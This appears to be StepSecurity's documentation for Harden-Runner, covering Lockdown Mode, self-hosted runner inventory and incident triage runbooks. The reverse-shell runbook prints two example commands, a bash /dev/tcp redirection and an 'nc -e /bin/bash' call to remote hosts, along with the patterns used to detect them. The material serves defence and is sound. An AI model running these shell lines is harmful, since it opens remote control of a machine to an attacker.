| **Policy Updated**  | The policy's YAML content was edited — displayed with a side-by-side diff highlighting added (green) and removed (red) lines              |
| **Policy Attached** | The policy was attached to a new scope, or an existing attachment was modified (e.g., changed from *specific workflows* to *entire repo*) |
| **Policy Detached** | All or some attachments were removed                                                                                                      |

**Each entry includes:**

* The type of change (with an icon indicating whether it was a content edit or an attachment change)
* The user who made the change
* Timestamp (absolute and relative)
* Details of what changed:
  * For **content changes**, a side-by-side diff of the policy YAML
  * For **attachment changes**, the scopes added (green) and removed (red), and any transitions (e.g., `specific workflows → entire repo`)

From the history page, you can click **Edit Policy** in the top right to jump directly to the editor.

## Lockdown Mode

{% hint style="info" %}
Lockdown Mode is currently available only for ARC clusters
{% endhint %}

Lockdown Mode provides automatic blocking of CI/CD jobs when critical security threats are detected in real-time.

#### How Lockdown Mode Works

When Lockdown Mode is active for a workflow, Harden-Runner continuously monitors the job at runtime. If a detection matching one of the configured detection types is triggered:

* The running job is **immediately terminated**.
* A notification is sent with details about the blocked threat, including the detection type, job ID, and workflow run.
* The detection event is recorded in the StepSecurity dashboard and forwarded to any configured integrations (e.g., [Webhook](/administration/admin-console/integrations/webhook-integration), [Slack](/administration/admin-console/integrations/slack-oauth-integration), [S3](/administration/admin-console/integrations/s3-integration)).

#### Configuring Lockdown Mode <a href="#id-51-configuring-lockdown-mode" id="id-51-configuring-lockdown-mode"></a>

To enable Lockdown Mode for your workflows:

* Navigate to the Policy Store
* Create a new policy or edit an existing one
* Add the lockdown configuration using the following syntax:

{% code overflow="wrap" fullWidth="false" %}

```yaml
lockdown-mode:
  enabled: true
  detections:
    - Privileged-Container
    - Runner-Worker-Memory-Read
    - Reverse-Shell
```

{% endcode %}

* Attach the policy to your desired scope (cluster, organization, repository, or workflow)

#### Supported Detection Types <a href="#id-52-supported-detection-types" id="id-52-supported-detection-types"></a>

| Detection                   | Description                                        |
| --------------------------- | -------------------------------------------------- |
| `Privileged-Container`      | Blocks containers running with elevated privileges |
| `Runner-Worker-Memory-Read` | Blocks unauthorized memory reading attempts        |
| `Reverse-Shell`             | Blocks reverse shell connection attempts           |

**Note:** When lockdown mode is enabled and a threat is detected, the job will be immediately terminated and you will receive a notification with details about the blocked threat.

#### Exempting Workflows from Lockdown Mode

In some cases, you may need to exempt specific workflows from Lockdown Mode — for example, workflows that intentionally run privileged containers for testing or infrastructure provisioning.

To exempt a workflow, create a separate policy with lockdown mode disabled:

```yaml
lockdown-mode:
  enabled: false
```

Then attach this policy to the specific scope you want to exempt. The exemption policy can be applied at any level:

* **Workflow level** — Disables lockdown for a single workflow.
* **Repository level** — Disables lockdown for all workflows in a repository.
* **Organization level** — Disables lockdown for all workflows in an organization.

{% hint style="info" %}
Use the most specific scope possible when creating exemptions. For instance, if only one workflow in a repository needs to run privileged containers, attach the exemption policy at the workflow level rather than disabling lockdown for the entire repository.
{% endhint %}

## Example: Policy Enforcement

* Suppose you create a policy that only allows specific endpoints

<figure><img src="/files/jpdzyquk0lAjq6SlKg3V" alt=""><figcaption></figcaption></figure>

* During a workflow run, if the job attempts to call a domain not on the allowlist, the request will be automatically blocked.

![Job Markdown](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-16/6f65b9f3-7765-4629-8270-fef3c66e615f/ascreenshot.jpeg?tl_px=0,97\&br_px=1376,866\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=219,277)

* On the Network Events tab of the Insights page, you can see that the policy was responsible for blocking the request and causing the run to fail

![Network Events Tab](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-16/0284a58a-acd9-44c7-8c3a-1d1d63ad2ee4/ascreenshot.jpeg?tl_px=283,0\&br_px=1430,640\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=523,173)


# Self-Hosted Runners

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

{% hint style="info" %}
To show self-hosted runners registered at the **organization** level, the StepSecurity GitHub App needs the **Self-hosted runners: Read-only** organization permission.

If you installed the app before **August 5th**, this permission is requested but not yet granted. Until an organization admin approves it, the runner inventory still works and shows repository-level runners, but organization-level runners are not listed. See Grant the organization permission.

**Note**: This is read-only access. GitHub labels this permission "View and manage Actions self-hosted runners available to an organization", but at the **Read-only** access level StepSecurity can only list runners and read their metadata. It cannot register, modify, remove, or take runners offline
{% endhint %}

{% hint style="info" %}
Once the Harden-Runner Agent is deployed, no configuration or code changes are needed to start seeing runtime monitoring
{% endhint %}

In the StepSecurity app, go to **Harden Runner → Self Hosted Runners**. The page has two tabs:

* **ARC Clusters** shows the health and security posture of your Actions Runner Controller clusters.
* **Self Hosted Runners** shows a consolidated inventory of every self-hosted runner StepSecurity knows about, including VM-based execution environments.

### Cluster Status

The Cluster Status feature in StepSecurity provides real-time visibility into the health and security posture of your clusters. This allows you to ensure that runtime security policies are enforced across your production environments.

On the **ARC Clusters** tab, search for or select a cluster from the list to see its details.

<figure><img src="/files/UVo3FZiSXUAUJ3KgQuug" alt=""><figcaption></figcaption></figure>

### How StepSecurity discovers runners

StepSecurity builds a single inventory of your self-hosted runners from several independent sources. A runner is frequently visible to more than one source, so StepSecurity merges the records into one entry per runner and presents the combined result.

| Source                                       | What it covers                                                                                                            | Required GitHub App permission |
| -------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | ------------------------------ |
| **Harden Runner agent host**                 | Runners with the Harden-Runner agent installed on the runner host. The agent reports the runner directly to StepSecurity. | None                           |
| **Registered on GitHub, organization level** | Runners registered to the organization in GitHub, under **Settings → Actions → Runners**.                                 | Self-hosted runners: Read-only |
| **Registered on GitHub, repository level**   | Runners registered to an individual repository.                                                                           | Administration: Read-only      |
| **Workflow run insights**                    | Runners observed executing a job while Harden-Runner was monitoring the workflow run.                                     | None                           |

Combining these sources surfaces information that no single source provides on its own. A runner that is registered in GitHub but has never reported in from the agent, for example, appears in the inventory as registered and unmonitored, which identifies a runtime coverage gap.

### Grant the organization permission

Until the **Self-hosted runners: Read-only** permission is granted, the Self Hosted Runners tab shows a banner titled **Grant access to list your organization's runners**, and organization-level runners are omitted from the inventory. Repository-level runners continue to appear.

<figure><img src="/files/uu8ekd0afBT9ralcCVhy" alt=""><figcaption></figcaption></figure>

An organization admin can approve the pending request:

1. In GitHub, go to your organization's settings, then **GitHub Apps**. You can go there directly at `https://github.com/organizations/YOUR_ORG/settings/installations`.
2. Find the StepSecurity app and open its configuration.
3. Approve the pending permission request.

Organization-level runners appear in the inventory on the next sync. Select **Refresh** on the Self Hosted Runners tab to sync immediately.

### Runner inventory

The **Self Hosted Runners** tab lists every runner StepSecurity has discovered, from all of the sources above.

<figure><img src="/files/z9bmqgmvuDfzeXLQVz5x" alt=""><figcaption></figcaption></figure>

The header also shows when runner data was **last synced**, and how many runners are currently loaded out of the total observed. Large inventories load in pages, so the loaded count is often lower than the observed count. Select **Refresh** to re-sync.

{% hint style="warning" %}
Refreshing consumes a GitHub App installation token, which is rate-limited by GitHub. Avoid refreshing repeatedly in a short period.
{% endhint %}

Each row shows:

| Column                  | Description                                                                                                                                                                                                                                                                                                                                                    |
| ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Runner**              | The runner name, with badges beneath it.                                                                                                                                                                                                                                                                                                                       |
| **Status**              | The runner's registration and connectivity state. Values include **Online**, **Offline**, **Unknown**, **Inactive**, and **Not registered**. **Unknown** means StepSecurity has a record of the runner but no current connectivity state for it, which is common for runners that were discovered from workflow activity rather than from a live registration. |
| **Harden Runner**       | Whether the Harden-Runner agent is present on the runner. **Monitored** means the agent is installed and reporting, with the agent version shown alongside. **Not installed** means no agent has been seen on this runner.                                                                                                                                     |
| **Last Activity (GMT)** | The most recent recorded activity. For runners with no activity yet, this shows when the runner was first seen.                                                                                                                                                                                                                                                |

Rows where an agent is present also offer a **Download Setup Logs** action, which is useful when an agent has been installed but the runner is not reporting as expected. Rows showing **Not installed** do not offer this action.

If the table reads **No runners found**, either no self-hosted runners have been discovered yet, or the active filters exclude them all.

#### **Runner badges**

| Badge                    | Meaning                                                            |
| ------------------------ | ------------------------------------------------------------------ |
| **Org**                  | The runner is registered at the organization level in GitHub.      |
| **Repo: `<repository>`** | The runner is registered to that specific repository.              |
| **Persistent**           | The runner stays registered between jobs.                          |
| **Ephemeral**            | The runner is created for a single job and deregisters afterwards. |

A runner discovered only by the Harden-Runner agent, and never seen as registered in GitHub, has no **Org** or **Repo** badge.

#### Runner details

Select any runner to open its details panel. **The fields shown depend on how StepSecurity discovered the runner**, because each source provides different metadata.

<figure><img src="/files/gsIqTdSt7Tv3lmNsF5zr" alt=""><figcaption></figcaption></figure>

Every panel shows:

| Field      | Description                                                                                                    |
| ---------- | -------------------------------------------------------------------------------------------------------------- |
| **Runner** | The runner name.                                                                                               |
| **Source** | How StepSecurity discovered this runner, for example **Harden Runner agent host** or **Registered on GitHub**. |

Runners reported by the **Harden-Runner agent** also show:

| Field                     | Description                                                     |
| ------------------------- | --------------------------------------------------------------- |
| **Agent Version**         | The version of the Harden-Runner agent installed on the runner. |
| **Agent Installed (GMT)** | When the agent was first installed on the runner.               |

Runners **registered on GitHub** also show:

| Field                | Description                                             |
| -------------------- | ------------------------------------------------------- |
| **Level**            | The scope the runner is registered at.                  |
| **OS**               | The operating system reported for the runner.           |
| **Runner Group**     | The GitHub runner group the runner belongs to.          |
| **Last Job (GMT)**   | When the runner last executed a job.                    |
| **First Seen (GMT)** | When StepSecurity first observed the runner.            |
| **Jobs Observed**    | How many jobs StepSecurity has recorded on this runner. |
| **Labels**           | The labels assigned to the runner in GitHub.            |

**Events History**

For runners reported by the Harden-Runner agent, an **Events History** tab lists agent lifecycle and job events with their timestamps. Observed event types include **Started** and **Terminated** for the agent itself, and **JobStarted** and **JobFinished** for the jobs it ran.

This gives you a per-runner audit trail of when the agent was running and which jobs executed while it was.

**Workflow Runs**

The **Workflow Runs** tab lists recent workflow runs executed on the runner. Only runs that Harden-Runner monitored appear here. Runs that executed without Harden-Runner are not listed. Select **Insights** on any run to open the full network and process detail for that run.

**Follow this interactive demo to see how to enable runtime monitoring for your self hosted runners:**

{% embed url="<https://app.storylane.io/share/qi1xljlrdhw4>" %}


# Harden Runner Installation

There are three ways to install Harden-Runner depending on your environment:

1. ARC (Actions Runner Controller)
2. Self-Hosted VM
3. GitHub Hosted Custom VM

<figure><img src="/files/xaNNxUgcdW1siQdTV1dT" alt=""><figcaption></figcaption></figure>

### ARC (Actions Runner Controller)

Actions Runner Controller (ARC) allows you to run GitHub Actions self-hosted runners at scale on Kubernetes.

Integrating Harden-Runner with ARC helps secure your runner fleet by enforcing outbound network policies, monitoring runtime behavior, and preventing supply chain attacks.

To configure an ARC cluster in StepSecurity, please follow the provided setup instructions. If the instructions have not been enabled in your account, please [contact us](https://www.stepsecurity.io/contact) for setup assistance.

### Self Hosted VM

Self-hosted options allow you to execute workflows on your own infrastructure rather than using GitHub-hosted environments. This provides greater control, security, and customization options for your CI/CD pipelines.

To configure an self-hosted runner in StepSecurity, please follow the provided setup instructions. If the instructions have not been enabled in your account, please [contact us](https://www.stepsecurity.io/contact) for setup assistance.

### GitHub Hosted Custom VM

GitHub Hosted Custom VMs allow you to run workflows on a managed virtual machine while still maintaining some configuration control. Installing Harden-Runner on these VMs adds an additional security layer that monitors and controls runtime behavior within ephemeral environments.

To configure a GitHub Hosted Custom VM in StepSecurity, please follow the provided setup instructions. If the instructions have not been enabled in your account, please [contact us](https://www.stepsecurity.io/contact) for setup assistance.


# Runbooks

Runbooks at StepSecurity provide step-by-step instructions to diagnose, respond to, and resolve specific operational issues or security incidents. They ensure consistency, reduce response time, and minimize errors by offering predefined procedures for handling common scenarios.


# Investigating Anomalous Outbound Network Calls

### Scenario <a href="#scenario" id="scenario"></a>

You received a detection alert for an anomalous outbound network call either via [Email/ Slack notification](/workspace/settings/notifications) or a failed [GitHub Check](/github/github-checks).

This runbook will help you identify what code or process caused the outbound call.

### Getting Started: Locate the Job and Endpoint

* Open the summary page for the detection.

<figure><img src="/files/iTFT146BBnxiquW43cmO" alt=""><figcaption></figcaption></figure>

* You can find the details in the "All Detections" section of the Summary page. This section shows:
  * The job in which the anomalous outbound call occurred.
  * The anomalous endpoint (domain or IP address) flagged by StepSecurity.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-08-18/03f4449e-0472-438f-9101-d080dd2a4436/ascreenshot.jpeg?tl_px=1495,859\&br_px=3024,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=384,268)

* Click on "View Job Details"

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-08-18/06dd7341-2967-4981-8cca-69325d16093e/ascreenshot.jpeg?tl_px=1058,0\&br_px=3023,1098\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=968,171)

* This will take you to the Network Events tab, where you can review all the outbound network calls made by that specific job. Use the “Show findings only” toggle to quickly filter and display just the detections, or use the search bar to look up specific events

<figure><img src="/files/QkmJj9f8IcrEKuBnsNAg" alt=""><figcaption></figcaption></figure>

### Step 1: Review Build Logs with Timestamps

* Each outbound call has an associated timestamp.

<figure><img src="/files/rt7ciqnuYd2m43nOJEqM" alt=""><figcaption></figcaption></figure>

* Open the build log for the affected run

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-08-18/af1cb058-0663-48d0-accc-9bfc985aaf1b/ascreenshot.jpeg?tl_px=0,541\&br_px=1965,1640\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=420,413)

* Enable timestamps in the UI

<figure><img src="/files/Sb500DN7x45x0RJIuwWy" alt=""><figcaption></figcaption></figure>

* Scroll to the time around the outbound call and observe what was happening in the workflow at that point

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-08-18/15320e4c-61cb-4705-ad75-1e62da8d3eb1/ascreenshot.jpeg?tl_px=271,38\&br_px=3024,1577\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=71,193)

### Step 2: Search for the Domain or IP in Logs

* Check if the domain name or IP address from the alert appears in the build log.
* Sometimes, build tools or scripts log outbound destinations directly—this can give a direct clue about what triggered the call.

<figure><img src="/files/6D9mCaYN2jrCtEvRK63y" alt=""><figcaption></figcaption></figure>

### Step 3: Review Outbound API Call Details

* If available, StepSecurity also shows outbound API call details, including the HTTP method (e.g., GET, POST) and the path.

<figure><img src="/files/MH67EIPgCgh1eP4Jnxhx" alt=""><figcaption></figcaption></figure>

* This provides additional context about what operation was attempted (e.g., a POST /upload vs. a GET /version).

<figure><img src="/files/2jIXlYNowGTNeTRgdC4R" alt=""><figcaption></figcaption></figure>

* Compare this against the code or build step at that time to see if it matches expected behavior.

### Step 4: Inspect the Process Tree in Insights

* Go to the Network Events page in StepSecurity.
* Click on the PID of the process that made the outbound call.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-08-18/82d6293e-ab9c-4cc8-962e-4cecba5c8834/ascreenshot.jpeg?tl_px=271,175\&br_px=3024,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=399,436)

* Review the Process Events panel to see the exact command executed and click "View Parent Process (PPID)" to trace back to the parent process

<figure><img src="/files/InZY4NymyQEfF9fspzae" alt=""><figcaption></figcaption></figure>

* Inspect the parent process (e.g., /usr/bin/bash) to see which script or tool launched the outbound call

<figure><img src="/files/aK5RemUSyYo6PSVz4pSv" alt=""><figcaption></figcaption></figure>

### Step 5: Investigate Code, Commits, and GitHub Actions

* Check the commit associated with the build to see if the domain or IP is directly referenced in the changes.
* If the outbound call correlates to a workflow step that runs a GitHub Action, identify which action it was.
  * If it’s a third-party action, inspect the action’s code in its repository to confirm whether the outbound call is expected or suspicious.
  * If it’s your own action, check recent changes or dependencies that might have introduced the behavior.
* If not found in the commit or the correlated action:
  * Search within the repository codebase.
  * Expand the search to your organization’s repositories.
  * As a last step, check if the domain is mentioned in public repositories (to detect potential supply chain or dependency issues).

### Outcome

By following these steps, you should be able to trace the anomalous outbound network call back to:

* A specific job and workflow step (or GitHub Action),
* A process or script executed during the build,
* Or a piece of code (commit, repo, dependency) that introduced the outbound behavior.


# How to Determine Minimum Token Permissions

Determining the minimum required permissions for the `GITHUB_TOKEN` is a key step in securing your GitHub Actions workflows.

This guide walks you through how to use StepSecurity’s tooling to analyze workflow activity and identify the least-privilege permissions your jobs need, helping you reduce risk and follow security best practices with confidence.

{% embed url="<https://app.storylane.io/share/xmp0reeeekvf>" %}


# Triaging Action Uses Imposter Commit

You received an **Action Uses Imposter Commit** detection. The workflow references a GitHub Action by a commit SHA that does not exist on the action repository's default branch or on any other branch. This is a known supply-chain attack pattern, but a small number of legitimate release workflows produce the same signal. Use this runbook to decide which case you have.

### How it's detected

For each third-party action pinned by SHA, StepSecurity queries the GitHub API to check whether the pinned commit is reachable from the default branch, then paginates every other branch in the action's repository. Annotated tags are resolved to their target commit before the check. If the SHA is not reachable from any branch, the action's commit is flagged.

### Triage

#### **Likely a compromise (true positive)**

The workflow uses `some-org/some-action@<sha>` where `<sha>` exists only as a dangling commit, not on the default branch and not on any other branch in the action's repository. This is the pattern used in the March 2025 `tj-actions/changed-files` compromise: the `v1` through `v45` tags were silently repointed to an attacker-pushed commit that lived on a fork of the action repo and was never merged into the upstream repository.

If you see this pattern:

* Treat any workflow run that used the action as a potential compromise.
* Rotate every secret the affected workflows had access to, including `GITHUB_TOKEN`.
* Audit recent commits, branches, issues, and releases for unauthorized changes made during the affected runs.
* Pin the action to a verified commit on the action's default branch, or remove it.
* Check the [Threat Center](/workspace/threat-center) for related advisories.

#### **Likely benign (false positive)**

Some maintainers ship releases by creating a short-lived branch at the release commit, pointing the tag at that commit, then deleting the branch. The release commit is no longer reachable from any branch, so the detection fires even though the release was legitimate.

Before treating the detection as benign, verify all of the following:

* The action is from a maintainer you trust and the repository looks healthy.
* The tag and commit were published through the maintainer's normal release process.
* The commit's contents match what you would expect for that release (compare against the previous release diff).
* No advisories exist for the action or its maintainer.

If all checks pass, suppress the detection with the reason "Legitimate release on deleted branch." Where possible, repin to a commit that is reachable from the action's default branch.

### Next steps

* If confirmed compromise: rotate secrets, audit downstream activity, and follow your incident response process. Resolve the detection once remediation is complete.
* If false positive: suppress per [How to Suppress a Detection](/workspace/detections#how-to-suppress-a-detection).
* If uncertain: escalate to your security team with the action reference, pinned SHA, and workflow run URL.


# Triaging Runner.Worker Memory Read

You received a **Runner.Worker Memory Read** detection. Another process on the runner read the memory of the GitHub Actions `Runner.Worker` process. Because GitHub Actions secrets are decrypted into that process at job runtime, anything that can read its memory can lift `GITHUB_TOKEN`, OIDC tokens, registry credentials, and any other secrets the job uses. The detection has a very low false-positive rate. Use this runbook to decide whether the reader was malicious or a legitimate diagnostic tool.

### How it's detected

The Harden-Runner agent watches for any process opening and reading the memory of the `Runner.Worker` process, typically via `/proc/<pid>/mem` or `ptrace` on Linux. When the read occurs, the agent reports the reader's executable and command line.

### Triage

#### **Likely a compromise (true positive)**

A step or dependency attaches to `Runner.Worker` and scrapes its address space to lift in-memory secrets: `GITHUB_TOKEN`, OIDC tokens, registry credentials, or other secrets the runner has decrypted for the job. Nothing in a normal CI job has a reason to read another process's memory, which is what makes this signal high-fidelity. Both the `aquasecurity/trivy-action` compromise and the `tj-actions/changed-files` compromise used this technique: the malicious payload read `Runner.Worker` memory to exfiltrate the job's secrets and tokens.

Treat the detection as a confirmed compromise unless you can clearly identify the reader as a legitimate tool. Take the following actions:

* Identify the reader from the detection (executable path and command line).
* Trace the reader back to a workflow step, dependency, or action.
* Rotate every secret the affected workflows had access to, including `GITHUB_TOKEN`. Revoke any artifacts, branches, or releases created during the affected runs.
* Audit downstream activity (commits, releases, package publishes) made during the affected runs.
* Block the offending action or dependency, and check the Threat Center for related advisories.

{% hint style="info" %}
Consider enabling [Lockdown Mode](/github-actions/harden-runner/policy-store#lockdown-mode) for Runner.Worker Memory Read so future occurrences terminate the job automatically.
{% endhint %}

#### **Likely benign (false positive)**

Legitimate diagnostics or profiling tools (debuggers, core-dump collectors, memory profilers) may perform the same `/proc/<pid>/mem` or `ptrace` reads against the worker. The behavior is identical to credential theft, so the detection fires even when the reader was intentionally installed by the workflow author.

Before treating the detection as benign, verify all of the following:

* The reader is a known, named tool (e.g., `gdb`, `delve`, a core-dump utility, a memory profiler).
* The tool was added to the workflow deliberately by an author you trust.
* The tool is being used for its stated purpose in that job (debugging a failing test, profiling a specific binary), not running against `Runner.Worker` specifically.
* The reader did not make outbound network calls that look like exfiltration during the same run.

If all checks pass, suppress the detection with the reason "Legitimate diagnostic tool."

#### Next steps

* If confirmed compromise: rotate secrets immediately and follow your incident response process. Resolve the detection once remediation is complete.
* If false positive: suppress per [How to Suppress a Detection](/workspace/detections#how-to-suppress-a-detection).
* If uncertain: rotate secrets defensively and escalate. The cost of unnecessary rotation is much lower than the cost of missing a real compromise on this detection.


# Triaging Reverse Shell

You received a **Reverse Shell Detected** detection. A process on the runner combined a shell with an outbound network connection in a way that looks like an interactive shell being proxied to a remote host. A real reverse shell gives an attacker live, interactive control of the runner, including access to the workflow's secrets. A small number of legitimate workflows (security tests, connectivity probes) produce the same signal. Use this runbook to decide which case you have.

### How it's detected

The Harden-Runner agent inspects process events on CI runners and flags two patterns:

* A `nc`, `ncat`, or `netcat` invocation that pairs `-e` with `bash` or `/bin/bash`.
* A `bash` or `sh` invocation whose arguments reference `/dev/tcp/<host>/<port>` where the host is not a loopback address.

### Triage

#### **Likely a compromise (true positive)**

A build step spawns something like:

```
bash -c "bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12285 0>&1"
```

or:

```
nc -e /bin/bash 203.0.113.5 4444
```

This is a tampered dependency or compromised action establishing an interactive shell to an attacker-controlled host. Treat the detection as a confirmed compromise unless you can clearly identify the command as something a workflow author intentionally added.

Actions to take:

* Identify the parent process and the workflow step that spawned the shell.
* Trace the spawning code back to a specific dependency, action, or commit.
* Rotate every secret the affected workflows had access to, including `GITHUB_TOKEN`.
* Audit downstream activity (branches, releases, issues, package publishes) made during the affected runs.
* Block the offending action or dependency, and check the Threat Center for related advisories.

{% hint style="info" %}
Consider enabling [Lockdown Mode](/github-actions/harden-runner/policy-store#lockdown-mode) for Reverse Shell so future occurrences terminate the job automatically.
{% endhint %}

#### **Likely benign (false positive)**

A security or pentest workflow, or a connectivity-test script, may invoke the same `nc -e` or `/dev/tcp` pattern against an external host on purpose. The syntax is identical to a real reverse shell, so the detection fires even though the workflow author added it deliberately.

Before treating the detection as benign, verify all of the following:

* The command is in code you control and was added by an author you trust.
* The destination host is one your team owns or has authorized (a sanctioned pentest target, an internal connectivity probe).
* The workflow's stated purpose involves this kind of test.
* No other suspicious activity (memory reads, source code overwrites, anomalous outbound calls) occurred in the same run.

If all checks pass, suppress the detection with the reason "Authorized security test."

#### Next steps

* If confirmed compromise: rotate secrets immediately and follow your incident response process. Resolve the detection once remediation is complete.
* If false positive: suppress per [How to Suppress a Detection](/workspace/detections#how-to-suppress-a-detection). For recurring authorized tests, consider scoping the workflow to a dedicated repository where the suppression context is obvious.
* If uncertain: rotate secrets defensively and escalate to your security team.


# Triaging Privileged Container

You received a **Privileged Container Detected** detection. A workflow step ran `docker` with `--privileged`, which gives the container full host capabilities. A real `--privileged` invocation from a compromised dependency is a well-known runner-takeover technique. A larger share of these detections is benign than for other Suspicious Process Events, because several legitimate workloads (Docker-in-Docker, kernel-module tests) require the flag by design. Use this runbook to decide which case you have.

### How it's detected

While processing runner process events, the Harden-Runner agent looks for a `docker` invocation (case-insensitive) whose arguments contain `--privileged` and emits a detection citing the offending process.

### Triage

#### **Likely a compromise (true positive)**

A workflow step runs `docker run --privileged ...` introduced by a compromised dependency or a malicious PR. Full host capabilities inside a CI container are a well-known pivot for container-to-host escape and runner takeover: from a privileged container an attacker can read host memory, access secrets stored on the host, install persistence, or pivot to other workloads on the same runner.

Actions to take:

* Identify the workflow step that issued the `docker` command.
* Trace it back to a specific dependency, action, or PR. Be especially careful with recent dependency upgrades or PRs from forked branches.
* Rotate any secrets the affected workflows had access to.
* On self-hosted runners, treat the runner host as potentially compromised and reimage it. Hosted runners are ephemeral and do not need this step.
* Block the offending action or dependency, and check the Threat Center for related advisories.

{% hint style="info" %}
Consider enabling Lockdown Mode for Privileged Container so future occurrences terminate the job automatically. Apply Lockdown selectively if you have repositories that legitimately require `--privileged`.
{% endhint %}

#### **Likely benign (false positive)**

Some workflows legitimately need elevated capabilities and pass `--privileged` by design:

* Docker-in-Docker (DinD) builds, including BuildKit configurations.
* Nested-virtualization tests (e.g., running QEMU or KVM inside CI).
* Kernel-module compilation and testing.
* Hardware or device access for embedded toolchains.

If the detection fits one of these patterns:

* Confirm the workflow file explicitly includes the `--privileged` flag and the author added it deliberately.
* Confirm the workflow's stated purpose requires elevated capabilities.
* Confirm no recent change introduced new uses of `--privileged` that do not match the workflow's stated purpose.

If all checks pass, suppress the detection with the reason "Legitimate privileged workload." Document which repositories and workflows have an approved exception.

### Next steps

* If confirmed compromise: rotate secrets, follow your incident response process, and reimage any self-hosted runner that ran the step. Resolve the detection once remediation is complete.
* If false positive: suppress per [How to Suppress a Detection](/workspace/detections#how-to-suppress-a-detection). Consider scoping the suppression to the specific repository or workflow rather than the whole organization.
* If uncertain: escalate to your security team with the workflow step, full `docker` command, and run URL.


# Actions

The Actions section focuses on managing and securing the GitHub Actions used in your workflows.

It includes features to evaluate the security of third-party actions, monitor their usage, and ensure they comply with your organization's security policies.

Follow this interactive demo to explore how it works:

{% embed url="<https://app.storylane.io/share/7knt90pvlykj>" %}


# GitHub Actions In Use

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

To get insights into the GitHub Actions used in your repositories, navigate to the `Actions` section in the StepSecurity dashboard. Here, you can find:

* The name of each Action.
* The Action Security Score.
* The Repositories using that particular Action.

<figure><img src="/files/uoJFejYkdjrm87EEK1qI" alt=""><figcaption></figcaption></figure>

## Exploring GitHub Actions Insights

* [Viewing Action Details](#viewing-action-details)
* [How Action Scores are Calculated](#how-action-scores-are-calculated)
* [Managing Low Scoring Actions](#managing-low-scoring-actions)
* [Requesting a Maintained Action](#requesting-a-maintained-action)

### Viewing Action Details

Click on a specific Action (e.g., actions/checkout) to open its details page. You will see four tabs:

#### Repositories Tab

* Displays the repositories using the selected Action.
* Lists associated workflows.
* Shows the SHA and tag used in each repository.
* Displays the age of the last used tag or SHA.
  * If a tag has not been updated recently, it’s recommended to upgrade it.
  * You can automate this process using Dependabot.

<figure><img src="/files/3VhUT91tXGMk5PigUYBf" alt=""><figcaption></figcaption></figure>

#### Security Score Tab

* Displays the Security Score of the Action.
* The score is calculated using industry best practices, including OpenSSF Scorecard checks and the Secure Software Publishing Guide.

<figure><img src="/files/0HFuw4krYRkOkxCavhwX" alt=""><figcaption></figcaption></figure>

#### AI Analysis

* Displays the AI-powered security assessment of the selected Action.
* The AI Analysis evaluates the Action’s source code, workflow configuration, token usage, and supply chain risk patterns to identify potential security issues.\
  This analysis is powered by StepSecurity’s vertical supply chain security AI agent, which is trained on past real-world supply chain incidents and common CI/CD attack patterns. By leveraging historical breach data and known exploitation techniques, the AI agent is able to detect subtle risk indicators that traditional rule-based scanners may miss.
* It generates the AI Security Score and provides detailed security findings with severity levels and remediation guidance.

<figure><img src="/files/4hZB6HnJsJ8NJaEy6Lyy" alt=""><figcaption></figcaption></figure>

* For Actions that do not yet have AI Analysis available, you can request an analysis directly from the Action details page.

{% hint style="info" %}
**Note**: Each user is limited to 10 AI Analysis requests per day.
{% endhint %}

<figure><img src="/files/dnFobMRGbw7ydpGImg36" alt=""><figcaption></figcaption></figure>

#### Network Behavior Tab

* Shows all outbound network calls made by the Action during execution.

<figure><img src="/files/jrHNAKPY14MkXdCBPfL7" alt=""><figcaption></figcaption></figure>

### How Action Scores are Calculated

Each GitHub Action is assigned a Security Score on a 0–10 scale. The score reflects how closely the Action aligns with industry best practices for secure software development and maintenance.

Scores are derived from multiple components, each normalized to a 0–10 range, and combined into a final score depending on whether the Action is public or private.

#### Score Components

Each component contributes a score between 0 and 10.

| Component         | Source                        | Description                                                                                                                       |
| ----------------- | ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| License           | GitHub API                    | 10 for permissive OSS licenses like MIT or Apache 2.0, lower for restrictive licenses like AGPL, and 0 if no license is specified |
| Popularity        | GitHub Code Search            | Based on how many open-source projects use the action                                                                             |
| Branch Protection | Scorecard                     | Measures repository branch protection settings                                                                                    |
| Maintained        | Scorecard (or internal check) | How recently the action was updated                                                                                               |
